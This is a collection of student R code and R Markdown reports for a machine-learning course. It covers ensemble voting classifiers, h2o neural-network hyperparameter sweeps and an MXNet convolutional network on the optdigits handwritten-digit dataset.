```{r,tidy=TRUE}
##weighted voting get prob out puts
nn_preds_prob<-predict(nnet_model, lab3_test,type = "prob")
knn_preds_prob<-predict(knn_model, lab3_test,type = "prob")
lr_preds_prob<-predict(lr_model, lab3_test,type = "prob")
nb_preds_prob<-predict(nb_model, lab3_test,type = "prob")
dt_preds_prob<-predict(dt_model, lab3_test,type = "prob")
#get weights
#def softmax
softmax <- function(x) exp(x) / sum(exp(x))
total_wt=dt_test_acc+nb_test_acc+knn_test_acc+lr_test_acc+nn_test_acc
wt_softmax<-softmax(c(dt_test_acc,nb_test_acc,knn_test_acc,lr_test_acc,nn_test_acc))
dt_wt<-wt_softmax[1]
nb_wt<-wt_softmax[2]
knn_wt<-wt_softmax[3]
lr_wt<-wt_softmax[4]
nn_wt<-wt_softmax[5]
##combine all prob of NO in a dataframe
comm_preds_prob <- data.frame(nn_preds_prob[,1]*nn_wt,knn_preds_prob[,1]*knn_wt,lr_preds_prob[,1]*lr_wt,nb_preds_prob[,1]*nb_wt,dt_preds_prob[,1]*dt_wt)
wt_comm_preds <- as.factor(ifelse(rowSums(comm_preds_prob) > 0.5, "No", "Yes"))
wt_maj_vot_5_acc<-0
correct<-0
for (i in (1:length(wt_comm_preds))){
if(wt_comm_preds[i]==lab3_test$Class[i]){
correct=correct+1
}
}
wt_maj_vot_5_acc <- (correct)/length(wt_comm_preds)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Weighted Majority voting",wt_maj_vot_5_acc,0)
ind_resultsTab %>% knitr::kable(caption = "Accuraccy comparision of indiviual and Ensembl classifiers")
```
Accuraccy acheived by Weighted Ensemble is `r wt_maj_vot_5_acc`
### Weighted Ensemble confusion matrix
```{r,tidy=TRUE}
confusionMatrix(wt_comm_preds,lab3_test[,5])
```
## Conclusion
We expect that weighted majority voting should be the best among all the classifiers as ensembl classifiers can combine knowledge from different classifiers. From Table 3. we can see that the overall highest accuracy was acheived by `r ind_resultsTab[which.max(ind_resultsTab$Acc_test),]`.
# Solution 3
I added my best RF and AdaBoost models to the ensembl learners.
## Unweighted Ensembl Classifier with Seven models
I used majority voting among all the seven classifiers. The code is attached below.
```{r,tidy=TRUE}
#combine predictions
comm_preds <-
data.frame(dt_pred_res,
nb_pred_res,
lr_pred_res,
knn_pred_res,
nn_pred_res,rf_preds,ada_preds)
#do majority voting
require(functional)
maj_vot_7 <- as.factor(apply(
comm_preds,
1,
Compose(table,
function(i)
i == max(i),
which,
names,
function(i)
paste0(i, collapse = '/'))
))
maj_vot_7_acc <- 0
correct <- 0
for (i in (1:length(maj_vot_7))) {
if (maj_vot_7[i] == lab3_test$Class[i]) {
correct = correct + 1
}
}
maj_vot_7_acc <- (correct) / length(maj_vot_7)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Majority voting_ALL",maj_vot_7_acc,0)
ind_resultsTab %>% knitr::kable(caption = "Accuraccy comparision of indiviual and Ensembl classifiers (seven classifiers)")
```
Accuraccy acheived by majority voting is `r maj_vot_5_acc`
### Majority voting confusion matrix
```{r,tidy=TRUE}
confusionMatrix(maj_vot_7,lab3_test[,5])
```
## Weighted Ensembl Classifier
Here i took the weighted mean of outputs from each classifier. The weights were propotional to each classifiers accuraccy on the test set. I used the softmax function to calculate weight of each classifier based on its accuraccy. Table 4 shows the weights used to weight each classifier.
```{r,tidy=TRUE}
##weighted voting get prob out puts
nn_preds_prob<-predict(nnet_model, lab3_test,type = "prob")
knn_preds_prob<-predict(knn_model, lab3_test,type = "prob")
lr_preds_prob<-predict(lr_model, lab3_test,type = "prob")
nb_preds_prob<-predict(nb_model, lab3_test,type = "prob")
dt_preds_prob<-predict(dt_model, lab3_test,type = "prob")
rf_preds_prob <-predict(rf_model, lab3_test,type = "prob")
ada_preds_prob <-predict(ada_model, lab3_test,type = "prob")
#get weights
#def softmax
softmax <- function(x) exp(x) / sum(exp(x))
wt_softmax<-softmax(c(dt_test_acc,nb_test_acc,knn_test_acc,lr_test_acc,nn_test_acc,ada_test_acc,rf_test_acc))
dt_wt<-wt_softmax[1]
nb_wt<-wt_softmax[2]
knn_wt<-wt_softmax[3]
lr_wt<-wt_softmax[4]
nn_wt<-wt_softmax[5]
ada_wt<-wt_softmax[6]
rf_wt<-wt_softmax[7]
##combine all prob of NO in a dataframe
comm_preds_prob <- data.frame(nn_preds_prob[,1]*nn_wt,knn_preds_prob[,1]*knn_wt,lr_preds_prob[,1]*lr_wt,nb_preds_prob[,1]*nb_wt,dt_preds_prob[,1]*dt_wt,ada_preds_prob[,1]*ada_wt,rf_preds_prob[,1]*rf_wt)
wt_comm_preds <- as.factor(ifelse(rowSums(comm_preds_prob) > 0.5, "No", "Yes"))
wt_maj_vot_7_acc<-0
correct<-0
for (i in (1:length(wt_comm_preds))){
if(wt_comm_preds[i]==lab3_test$Class[i]){
correct=correct+1
}
}
wt_maj_vot_7_acc <- (correct)/length(wt_comm_preds)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Weighted Majority voting_ALL",wt_maj_vot_7_acc,0)
ind_resultsTab %>% knitr::kable(caption = "Accuraccy comparision of indiviual and Ensembl classifiers")
```
Accuraccy acheived by weighted voting using all models is `r wt_maj_vot_7_acc`
### Weighted Ensemble confusion matrix using all models
```{r,tidy=TRUE}
confusionMatrix(wt_comm_preds,lab3_test[,5])
```
```{r,tidy=TRUE}
header4<-c("Model","Weight")
wt_resultsTab<-data.frame(matrix(ncol = 2, nrow = 0))
colnames(wt_resultsTab)<-header4
wt_resultsTab[1,] <- c("Neural Net",nn_wt)
wt_resultsTab[2,] <- c("KNN",knn_wt)
wt_resultsTab[3,] <- c("Naive Bayes",nb_wt)
wt_resultsTab[4,] <- c("Logistic Regression",lr_wt)
wt_resultsTab[5,] <- c("Decision Tree",dt_wt)
wt_resultsTab[6,] <- c("ADA",ada_wt)
wt_resultsTab[7,] <- c("RF",rf_wt)
wt_resultsTab %>% knitr::kable(caption = "Weights assigned to different classifiers in weighted Ensemble method")
```
Overall the maximum accuraccy was acheived by `r ind_resultsTab[which.max(ind_resultsTab$Acc_test),]`.
# Conclusion
We expect the performance of weighted ensemble to be the best. When running the code I found that most of the time majority voting over all classifiers and weighted ensemble of all classifier performed best. Thus, we can say an ensemble of classifiers are better than using individual classifiers. I did not see much difference between weighted and un-weighted ensemble classifiers. This may be because of the weigths i am assiging to the classifiers. My weights are directly propotional to the classification accuraccy of individual classifiers. Since, all classifiers perform with almost same accuraccy, my weights are almost same for each classifiers which is almost like having a majority voting. If I decide to implement a more sophisticated weight scheme I would see some more difference in classification.
<file_sep>##LAB2
setwd("~/work/course/cs573/lab2")
library(h2o)
library(data.table)
train <- fread("optdigits.tra",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
test<-fread("optdigits.tes",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
#Divide into train and test/validation
c.train <- train[1:(nrow(train)*.8),]
c.validation <- train[(nrow(train)*.2):nrow(train),]
h2o.init(nthreads=-1, enable_assertions = FALSE)
h2o.no_progress()
#data to h2o cluster
train.h2o <- as.h2o(c.train)
validation.h2o <- as.h2o(c.validation)
test.h2o <- as.h2o(test)
#last variable is the class category
y.dep<-"V65"
predictors<-setdiff(names(c.train), y.dep)
######Set model hyper-parameters
hiddenLayers<-c(1,2,3)
hiddenUnits<-c(100,200,300)
learningRates<-c(0.005,0.01)
momentumStart<-c(0,0.5)
inputScaling<-c(T,F)
errorFunc<-c("Quadratic","CrossEntropy")
#hiddenLayers<-c(1,2)
#hiddenUnits<-c(100,200)
#learningRates<-c(0.01)
#momentumStart<-c(0)
#inputScaling<-c(T)
#errorFunc<-c("Quadratic")
##Table to write results
header1<-c("ErrorFunction","layers","hiddenUnits","learnRate","momentumStart","Scale","Acc_val","Acc_test","Time in min")
resultsTab<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab)<-header1
#set seed for reproducible results
set.seed(1263)
#save the best model i.e. highest accuraccy on test set
bestModel<-NULL
bestAcc<-0
#make all comniations of the parameters
for(errF in errorFunc){
for(hL in hiddenLayers){
for(hU in hiddenUnits){
for(lR in learningRates){
for(mS in momentumStart){
for(iS in inputScaling){
#build model and calculate accuraccy
s <- proc.time() #start time
model1<- h2o.deeplearning(x=predictors,y = y.dep,training_frame = train.h2o, validation_frame=validation.h2o,hidden = c(rep(hU),hL), activation = "Rectifier",epochs = 100,loss=errF,rate=lR,momentum_start = mS,standardize = iS,adaptive_rate=F)
d <- proc.time() - s #end time
print("Model training metrics")
model1@model$training_metrics
print("Model validation metrics")
model1@model$validation_metrics
model1@model$training_metrics@metrics$model_category
h2o.confusionMatrix(model1)
#test on testdata
cat("Performance on test data:")
perf<-h2o.performance(model1,test.h2o)
perf
#compute accuraccy on validation
valResult <- h2o.predict(model1, validation.h2o,y=y.dep)
predictions<-as.data.frame(valResult[,1])
trueLabels<-c.validation$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(c.validation$V65[i])){
correct<-correct+1
}
}
acc_V<-correct/dim(predictions)[1]
cat("Accuraccy on validation set:",acc_V)
#compute accuraccy on test
testResult <- h2o.predict(model1, test.h2o,y=y.dep)
predictions<-as.data.frame(testResult[,1])
trueLabels<-test$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(test$V65[i])){
correct<-correct+1
}
}
acc<-correct/dim(predictions)[1]
cat("Accuraccy on test set:",acc)
resultsTab[nrow(resultsTab)+1,] <- c(errF,hL,hU,lR,mS,iS,acc_V,acc,as.numeric(d)[3]/60)
if(acc>bestAcc){
bestModel<-model1
bestAcc<-acc
}
}
}
}
}
}
}
print("Highest accuracy model:")
resultsTab[which.max(resultsTab$Acc_test),]
print ("Best model summary and confusion matrix for training set")
h2o.confusionMatrix(bestModel)
print ("confusion matrix for test set with best model")
h2o.confusionMatrix(bestModel,test.h2o)
#for plotting
resultsTab$ErrorFunction<-factor(resultsTab$ErrorFunction, levels=errorFunc)
par(mfrow=c(2,2))
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$layers),data=resultsTab, main="Acc vs Layers", ylab="Accuraccy", xlab="Num layers")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$hiddenUnits),data=resultsTab, main="Acc vs Units", xlab="Hidden units", ylab="Accuraccy")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$ErrorFunction),data=resultsTab, main="Acc vs Error func", xlab="Error fun (1. Sum of Sq,2. CrossEntropy)", ylab="Accuraccy")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$learnRate),data=resultsTab, main="Acc vs Rate", ylab="Accuraccy", xlab="Learning rate")
par(mfrow=c(1,1))
#EXP 1b
##ALL data is already loaded
######Set model hyper-parameters
#hiddenLayers<-c(1,2,3)
#hiddenUnits<-c(100,200,300)
#learningRates<-c(0.005,0.01)
#momentumStart<-c(0,0.5)
#inputScaling<-c(T,F)
#errorFunc<-c("CrossEntropy")
act<-c("Rectifier","Tanh")
hiddenLayers<-c(1)
hiddenUnits<-c(100,200)
learningRates<-c(0.01)
momentumStart<-c(0)
inputScaling<-c(T)
errorFunc<-c("Quadratic")
##Table to write results
header2<-c("activation","layers","hiddenUnits","learnRate","momentumStart","Scale","Acc_val","Acc_test","Time in min")
resultsTab2<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab2)<-header2
#set seed for reproducible results
set.seed(1654)
#save the best model i.e. highest accuraccy on test set
bestModelb<-NULL
bestAcc<-0
#make all comniations of the parameters
for(a in act){
for(hL in hiddenLayers){
for(hU in hiddenUnits){
for(lR in learningRates){
for(mS in momentumStart){
for(iS in inputScaling){
#build model and calculate accuraccy
s <- proc.time() #start time
model1<- h2o.deeplearning(x=predictors,y = y.dep,training_frame = train.h2o, validation_frame=validation.h2o,hidden = c(rep(hU),hL), activation = a ,epochs = 100,loss=errorFunc,rate=lR,momentum_start = mS,standardize = iS,adaptive_rate=F)
d <- proc.time() - s #end time
#test on testdata
cat("Performance on test data:")
perf<-h2o.performance(model1,test.h2o)
perf
#compute accuraccy on validation
valResult <- h2o.predict(model1, validation.h2o,y=y.dep)
predictions<-as.data.frame(valResult[,1])
trueLabels<-c.validation$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(c.validation$V65[i])){
correct<-correct+1
}
}
acc_V<-format(correct/dim(predictions)[1],digits = 4)
cat("Accuraccy on validation set:",acc_V)
#compute accuraccy on test
testResult <- h2o.predict(model1, test.h2o,y=y.dep)
predictions<-as.data.frame(testResult[,1])
trueLabels<-test$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(test$V65[i])){
correct<-correct+1
}
}
acc<-format(correct/dim(predictions)[1],digits = 4)
cat("Accuraccy on test set:",acc)
resultsTab2[nrow(resultsTab2)+1,] <- c(a,hL,hU,lR,mS,iS,acc_V,acc,format(as.numeric(d)[3]/60,digits = 2))
if(acc>bestAcc){
bestModelb<-model1
bestAcc<-acc
}
}
}
}
}
}
}
#for plotting
resultsTab2$activation<-factor(resultsTab2$activation, levels=act)
par(mfrow=c(2,2))
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$layers),data=resultsTab2, main="Acc vs Layers", ylab="Accuraccy", xlab="Num layers")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$hiddenUnits),data=resultsTab2, main="Acc vs Units", xlab="Hidden units", ylab="Accuraccy")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$activation),data=resultsTab2, main="Acc vs Error func", xlab="Activation fun (1. ReLU,2. tanh)", ylab="Accuraccy")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$learnRate),data=resultsTab2, main="Acc vs Rate", ylab="Accuraccy", xlab="Learning rate")
par(mfrow=c(1,1))
#Sol2 Lenet
h2o.shutdown(prompt=FALSE)
#sol2
# Load MXNet
require(mxnet)
#set train and test data
train_cn <- data.matrix(train)
train_x <- t(train_cn[,1:64])
train_y <- train_cn[,65]
train_array <- train_x
test_cn<- data.matrix(test)
test_x <- t(test_cn[,1:64])
test_y <- test[,65]
test_array <- test_x
##missed steps
#resize to 8x8 image
dim(train_array) <- c(8, 8, 1, ncol(train_x))
dim(test_array) <- c(8, 8, 1, ncol(test_x))
data <- mx.symbol.Variable('data')
#define hyperparameter space
#K<-c(1,2)
#numF<-c(1,2)
#hid1<-c(100,200,500)
#hid2<-c(2,10,50)
#learnRate<-c(0.005,0.01)
##test
K<-c(2)
numF<-c(20)
hid1<-c(500)
hid2<-c(40)
learnRate<-c(0.1)
#create table for results
##Table to write results
header3<-c("Num.Convlayers","Units in conv1","Units in conv2","kernel","NumFilter","Rate","Acc_train","Acc_test","Time in min")
resultsTab3<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab3)<-header3
bestModelc<-NULL
bestAcc<-0
#error func cross entropy, hidden activation ReLU
for (h1 in hid1) {
for (h2 in hid2) {
for (ks in K) {
for (f in numF) {
for (r in learnRate) {
cat(h1,h2,ks,f,r)
s <- proc.time() #start time
# 1st convolutional layer
conv_1 <-
mx.symbol.Convolution(
data = data,
kernel = c(ks,ks),
num_filter = f
)
relu_1 <-
mx.symbol.Activation(data = conv_1, act_type = "relu")
pool_1 <-
mx.symbol.Pooling(
data = relu_1,
pool_type = "max",
kernel = c(ks,ks)
)
# 2nd convolutional layer
conv_2 <-
mx.symbol.Convolution(
data = pool_1,
kernel = c(ks,ks),
num_filter = f
)
relu_2 <-
mx.symbol.Activation(data = conv_2, act_type = "relu")
pool_2 <-
mx.symbol.Pooling(
data = relu_2,
pool_type = "max",
kernel = c(ks,ks)
)
# 1st fully connected layer
flat <- mx.symbol.Flatten(data = pool_2)
fcl_1 <-
mx.symbol.FullyConnected(data = flat, num_hidden = h1)
relu_3 <-
mx.symbol.Activation(data = fcl_1, act_type = "relu")
# 2nd fully connected layer
fcl_2 <-
mx.symbol.FullyConnected(data = relu_3, num_hidden = h2)
# Output
NN_model <-
mx.symbol.SoftmaxOutput(data = fcl_2, name = 'softmax')
# Set seed for reproducibility
mx.set.seed(100)
#use CPU
device <- mx.cpu()
# Train whole training data
model <- mx.model.FeedForward.create(
NN_model,
X = train_array,
y = train_y,
ctx = device,
num.round = 10,
array.batch.size = 100,
learning.rate = r,
eval.metric = mx.metric.accuracy,
epoch.end.callback = mx.callback.log.train.metric(100),
verbose = T
)
d <- proc.time() - s #end time
cat("Time to build",format(as.numeric(d)[3]/60,digits = 2),"Mins")
#accuraccy on train set
predict_probs <- predict(model, train_array)
predicted_labels <- max.col(t(predict_probs)) - 1
correct <- 0
for (i in 1:length(predicted_labels)) {
if (as.numeric(predicted_labels[i]) == as.numeric(train$V65[i])) {
correct <- correct + 1
}
}
acc_tr <- format(correct / length(predicted_labels), digits = 4)
cat("ConvNet Accuraccy on train set:", acc)
#accuraccy on test set
predict_probs <- predict(model, test_array)
predicted_labels <- max.col(t(predict_probs)) - 1
correct <- 0
for (i in 1:length(predicted_labels)) {
if (as.numeric(predicted_labels[i]) == as.numeric(test$V65[i])) {
correct <- correct + 1
}
}
acc <- format(correct / length(predicted_labels), digits = 4)
cat("ConvNet Accuraccy on test set:", acc)
#add to table
resultsTab3[nrow(resultsTab3)+1,] <- c(2,h1,h2,paste("(",ks,",",ks,")",sep=""),f,r,acc_tr,acc,format(as.numeric(d)[3]/60,digits = 2))
#choose best model
if(acc>bestAcc){
bestModelc<-model
bestAcc<-acc
}
}
}
}
}
}
confusion_matrix <- table(predicted_labels, t(test_y))
<file_sep># H2O-examples
<file_sep>To run my code open ".rmd" file in RStudio and 'knit' the file. Please make sure that data files "optdigits.tra" and "optdigits.tes" are in the same folder as the .rmd file. Approx time to run 3 hours on a quad-core cpu.
Required R packages:
H2O
mxnet
magrittr
data.table
The results are attached in the file lab2.pdf.
For any questions email me usinghATiastate.edu.
<file_sep>---
title: "CS573 Lab 2"
author: "<NAME>"
date: "March 2, 2018"
output: pdf_document
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE,message = FALSE,warning = FALSE)
```
# Data
I downloaded the data from https://archive.ics.uci.edu/ml/datasets/Optical+Recognition+of+Handwritten+Digits. I used the optdigits.tra as training set and optdigits.tes as test set. Further, I divided training data into two non-overlapping parts having 80% and 20% data respectively. Then I used the partition with 80% data as training set to train the models and 20% data as a validation set for the models.
#Experiment 1a
For Experiment 1 I chose the hidden layers to be ReLU and I changed other parameters. I iterated over combinations of following parameters and buit models and tested them.
## Parameters
* Error Function: Quadratic, CrossEntropy
* Hidden Layers: 1, 2, 3
* Hidden Units: 100, 200, 300
* Learning Rate: 0.005, 0.01
* Momentum Start: 0, 0.5
* Input Scaling: True, False
I wrote the attached R code for simulation (using h2o). The results are described in Table 1.
## Experiment 1a R code
```{r,tidy=TRUE}
library("magrittr", lib.loc="~/R/x86_64-pc-linux-gnu-library/3.4")
library(h2o)
library(data.table)
train <- fread("optdigits.tra",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
test<-fread("optdigits.tes",stringsAsFactors = T,colClasses = c(rep('numeric',64),'character'))
h2o.init(nthreads=-1, enable_assertions = FALSE)
h2o.no_progress()
#Divide into train and test/validation
c.train <- train[1:(nrow(train)*.8),]
c.validation <- train[(nrow(train)*.2):nrow(train),]
#data to h2o cluster
train.h2o <- as.h2o(c.train)
validation.h2o <- as.h2o(c.validation)
test.h2o <- as.h2o(test)
#last variable is the class category
y.dep<-"V65"
predictors<-setdiff(names(c.train), y.dep)
######Set model hyper-parameters
hiddenLayers<-c(1,2,3)
hiddenUnits<-c(100,200,300)
learningRates<-c(0.005,0.01)
momentumStart<-c(0,0.5)
inputScaling<-c(T,F)
errorFunc<-c("Quadratic","CrossEntropy")
#hiddenLayers<-c(1)
#hiddenUnits<-c(100,200)
#learningRates<-c(0.01)
#momentumStart<-c(0)
#inputScaling<-c(T)
#errorFunc<-c("Quadratic")
##Table to write results
header1<-c("ErrorFunction","layers","hiddenUnits","learnRate","momentumStart","Scale","Acc_val","Acc_test","Time in min")
resultsTab<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab)<-header1
#set seed for reproducible results
set.seed(1263)
#save the best model i.e. highest accuraccy on test set
bestModel<-NULL
bestAcc<-0
#make all comniations of the parameters
for(errF in errorFunc){
for(hL in hiddenLayers){
for(hU in hiddenUnits){
for(lR in learningRates){
for(mS in momentumStart){
for(iS in inputScaling){
#build model and calculate accuraccy
s <- proc.time() #start time
model1<- h2o.deeplearning(x=predictors,y = y.dep,training_frame = train.h2o, validation_frame=validation.h2o,hidden = c(rep(hU),hL), activation = "Rectifier",epochs = 150,loss=errF,rate=lR,momentum_start = mS,standardize = iS,adaptive_rate=F)
d <- proc.time() - s #end time
#print("Model training metrics")
#model1@model$training_metrics
#print("Model validation metrics")
#model1@model$validation_metrics
#model1@model$training_metrics@metrics$model_category
#h2o.confusionMatrix(model1)
#test on testdata
#cat("Performance on test data:")
#perf<-h2o.performance(model1,test.h2o)
#perf
#compute accuraccy on validation
valResult <- h2o.predict(model1, validation.h2o,y=y.dep)
predictions<-as.data.frame(valResult[,1])
trueLabels<-c.validation$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(c.validation$V65[i])){
correct<-correct+1
}
}
acc_V<-format(correct/dim(predictions)[1],digits = 4)
#cat("Accuraccy on validation set:",acc_V)
#compute accuraccy on test
testResult <- h2o.predict(model1, test.h2o,y=y.dep)
predictions<-as.data.frame(testResult[,1])
trueLabels<-test$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(test$V65[i])){
correct<-correct+1
}
}
acc<-format(correct/dim(predictions)[1],digits = 4)
cat("Accuraccy on test set:",acc)
resultsTab[nrow(resultsTab)+1,] <- c(errF,hL,hU,lR,mS,iS,acc_V,acc,format(as.numeric(d)[3]/60,digits = 2))
if(acc > bestAcc){
bestModel<-model1
bestAcc<-acc
}
}
}
}
}
}
}
resultsTab %>% knitr::kable(caption = "Experiment 1 outcomes. Hidden units were ReLU.")
```
From Table 1 we can see that the model with highest accuraccy had following parameters: `r resultsTab[which.max(resultsTab$Acc_test),]`.
### Experiment 1a. Best model confusion matrix and model summary
```{r,tidy=TRUE}
bestModel
```
### Experiment 1a. Best model confusion matrix on test set
```{r,tidy=TRUE}
h2o.confusionMatrix(bestModel,test.h2o)
```
### Experiment 1a. Plots showing vaiability of test accuraccy of best model with respect to hyperparameters
```{r,tidy=TRUE,fig.cap=paste("Experiment 1a. Plots showing vaiability of test accuraccy of best model with respect to hyperparameters ")}
#for plotting
resultsTab$ErrorFunction<-factor(resultsTab$ErrorFunction, levels=errorFunc)
par(mfrow=c(2,2))
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$layers),data=resultsTab, main="Acc vs Layers", ylab="Accuraccy", xlab="Num layers")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$hiddenUnits),data=resultsTab, main="Acc vs Units", xlab="Hidden units", ylab="Accuraccy")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$ErrorFunction),data=resultsTab, main="Acc vs Error func", xlab="Error fun (1.SumofSq, 2.CrossEntropy)", ylab="Accuraccy")
boxplot(as.numeric(resultsTab$Acc_test)~as.numeric(resultsTab$learnRate),data=resultsTab, main="Acc vs Rate", ylab="Accuraccy", xlab="Learning rate")
par(mfrow=c(1,1))
```
#Experiment 1b
For Experiment 1b I chose the error function to be cross entropy and I changed other parameters. I iterated over combinations of following parameters and buit models and tested them.
## Parameters
* Error Function: CrossEntropy
* Activation Function: TanH, ReLU
* Hidden Layers: 1, 2, 3
* Hidden Units: 100, 200, 300
* Learning Rate: 0.005, 0.01
* Momentum Start: 0, 0.5
* Input Scaling: True, False
I wrote the attached R code for simulation (using h2o). The results are described in Table 2.
## Experiment 1b R code
```{r,tidy=TRUE}
##ALL data is already loaded
######Set model hyper-parameters
hiddenLayers<-c(1,2,3)
hiddenUnits<-c(100,200,300)
learningRates<-c(0.005,0.01)
momentumStart<-c(0,0.5)
inputScaling<-c(T,F)
errorFunc<-c("CrossEntropy")
act<-c("Rectifier","Tanh")
#hiddenLayers<-c(1)
#hiddenUnits<-c(100,200)
#learningRates<-c(0.01)
#momentumStart<-c(0)
#inputScaling<-c(T)
#errorFunc<-c("Quadratic")
##Table to write results
header2<-c("activation","layers","hiddenUnits","learnRate","momentumStart","Scale","Acc_val","Acc_test","Time in min")
resultsTab2<-data.frame(matrix(ncol = 9, nrow = 0))
colnames(resultsTab2)<-header2
#set seed for reproducible results
set.seed(1654)
#save the best model i.e. highest accuraccy on test set
bestModelb<-NULL
bestAcc<-0
#make all comniations of the parameters
for(a in act){
for(hL in hiddenLayers){
for(hU in hiddenUnits){
for(lR in learningRates){
for(mS in momentumStart){
for(iS in inputScaling){
#build model and calculate accuraccy
s <- proc.time() #start time
model1<- h2o.deeplearning(x=predictors,y = y.dep,training_frame = train.h2o, validation_frame=validation.h2o,hidden = c(rep(hU),hL), activation = a ,epochs = 150,loss=errorFunc,rate=lR,momentum_start = mS,standardize = iS,adaptive_rate=F)
d <- proc.time() - s #end time
#test on testdata
#cat("Performance on test data:")
#perf<-h2o.performance(model1,test.h2o)
#perf
#compute accuraccy on validation
valResult <- h2o.predict(model1, validation.h2o,y=y.dep)
predictions<-as.data.frame(valResult[,1])
trueLabels<-c.validation$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(c.validation$V65[i])){
correct<-correct+1
}
}
acc_V<-format(correct/dim(predictions)[1],digits = 4)
#cat("Accuraccy on validation set:",acc_V)
#compute accuraccy on test
testResult <- h2o.predict(model1, test.h2o,y=y.dep)
predictions<-as.data.frame(testResult[,1])
trueLabels<-test$V65
correct<-0
for(i in 1:dim(predictions)[1]){
if(as.numeric(predictions$predict[i])==as.numeric(test$V65[i])){
correct<-correct+1
}
}
acc<-format(correct/dim(predictions)[1],digits = 4)
#cat("Accuraccy on test set:",acc)
resultsTab2[nrow(resultsTab2)+1,] <- c(a,hL,hU,lR,mS,iS,acc_V,acc,format(as.numeric(d)[3]/60,digits = 2))
if(acc > bestAcc){
bestModelb<-model1
bestAcc<-acc
}
}
}
}
}
}
}
resultsTab2 %>% knitr::kable(caption = "Experiment 1b outcomes. Error function was cross-entropy.")
```
From Table 2 we can see that the model with highest accuraccy in experiment 1b had following parameters: `r resultsTab2[which.max(resultsTab2$Acc_test),]`.
### Experiment 1b. Best model confusion matrix and model summary
```{r,tidy=TRUE}
bestModelb
```
### Experiment 1b. Best model confusion matrix on test set
```{r,tidy=TRUE}
h2o.confusionMatrix(bestModelb,test.h2o)
```
### Experiment 1b. Plots showing vaiability of test accuraccy of best model with respect to hyperparameters
```{r,tidy=TRUE, fig.cap=paste("Experiment 1b. Plots showing vaiability of test accuraccy of best model with respect to hyperparameters")}
#for plotting
resultsTab2$activation<-factor(resultsTab2$activation, levels=act)
par(mfrow=c(2,2))
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$layers),data=resultsTab2, main="Acc vs Layers", ylab="Accuraccy", xlab="Num layers")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$hiddenUnits),data=resultsTab2, main="Acc vs Units", xlab="Hidden units", ylab="Accuraccy")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$activation),data=resultsTab2, main="Acc vs Activation", xlab="Activation fun (1.ReLU, 2.tanh)", ylab="Accuraccy")
boxplot(as.numeric(resultsTab2$Acc_test)~as.numeric(resultsTab2$learnRate),data=resultsTab2, main="Acc vs Rate", ylab="Accuraccy", xlab="Learning rate")
par(mfrow=c(1,1))
```
```{r,tidy=TRUE}
#shutdown h2o
h2o.shutdown(prompt=FALSE)
```
# Experiment 1: Discussion
## Experiment 1a
In Experiment 1a I fixed the activation function for hidden layers to be ReLU and I built models by iterating over hyperparameter space which I generated arbitarily. I found that the best model has following parameters:
* Error function: `r resultsTab[which.max(resultsTab2$Acc_test),]$ErrorFunction`
* Hidden layers: `r resultsTab[which.max(resultsTab2$Acc_test),]$layers`
* Hidden units: `r resultsTab[which.max(resultsTab2$Acc_test),]$hiddenUnits`
* learning rate: `r resultsTab[which.max(resultsTab2$Acc_test),]$learnRate`
* momentum start: `r resultsTab[which.max(resultsTab2$Acc_test),]$momentumStart`
* Input Scaling: `r resultsTab[which.max(resultsTab2$Acc_test),]$Scale`
* Accuracy (validation): `r resultsTab[which.max(resultsTab2$Acc_test),]$Acc_val`
* Accuraccy (test): `r resultsTab[which.max(resultsTab2$Acc_test),]$Acc_test`
I expected the model to have maximum number of hidden units and layers but this is not always the result I found. Infact the model with 3 hidden layers with 300 units and other hyperparameters same as the best model gave an accuraccy of only 45% on the test set.
In Fig 1 we can see how the hyperparameters i.e. hidden layers, hidden units, error function and learning rate contributes to accuraccy. These plots show overall variability of test set accuraccy over these hyperparameters. We see that hidden layers 2 and 3 have can cause higher variability in accuraccy. When hidden units are lesser variation is high although the range of accuraccy over different number of units looks same. Clearly, the median values of accuracy over cross-entropy and sum of squares looks same but cross entropy has higher max value. With learning rate lower i.e. 0.005 we see that accuracy has higher maximum value as compared to learning rate 0.01.
## Experiment 1b
In Experiment 1b I fixed the error function to be cross entropy and I built models by iterating over the hyperparameter space which I generated arbitarily. I found that the best model has following parameters:
* Error function: CrossEntropy
* Error function: `r resultsTab2[which.max(resultsTab2$Acc_test),]$activation`
* Hidden layers: `r resultsTab2[which.max(resultsTab2$Acc_test),]$layers`
